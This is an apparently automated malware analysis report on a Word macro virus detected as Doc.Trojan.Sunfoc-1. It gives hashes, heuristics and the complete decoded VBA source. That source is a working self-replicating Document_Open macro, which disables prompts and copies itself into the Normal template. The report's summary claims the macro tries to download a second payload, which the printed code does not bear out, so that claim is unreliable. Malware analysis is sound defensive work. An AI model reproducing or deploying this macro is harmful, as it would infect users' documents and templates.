Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7e19f0b7f75dbb8e…

MALICIOUS

Office (OLE)

31.0 KB Created: 2000-01-23 02:08:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 0f578486e177982860e6f6db1b6ee0b9 SHA-1: 6f3dc50de62455008f785cb2befbe235fc3d759e SHA-256: 7e19f0b7f75dbb8ea6d8afa482527ccc7a441fce7a5f34f69a1c9be1f148aec5
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is a Microsoft Word document containing VBA macros, specifically a Document_Open macro. This macro is designed to execute automatically when the document is opened. The macro code appears to manipulate its own content and then save the document, suggesting an attempt to download and execute a secondary payload. The ClamAV detection further confirms its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Sunfoc-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Sunfoc-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 829 bytes
SHA-256: e5bf5cdf053eff7b763c2ba31fcd2c5a118a6fb70162b26de5e112b952682360
Detection
ClamAV: Doc.Trojan.Sunfoc-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Application.EnableCancelKey = wdCancelDisabled
Options.VirusProtection = Yes
Options.SaveNormalPrompt = Yes
Options.ConfirmConversions = Yes
For A = 1 To 3
If A = 1 Then Set B = ThisDocument Else If A = 2 Then Set B = ActiveDocument Else If A = 3 Then Set B = NormalTemplate
Set C = B.VBProject
Set D = C.VBComponents
Set E = D.Item(1)
Set F = E.CodeModule
If A = 1 Then
G = F.Lines(1, F.CountOfLines)
Else
F.DeleteLines 1, F.CountOfLines
F.Addfromstring G
End If
Next
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub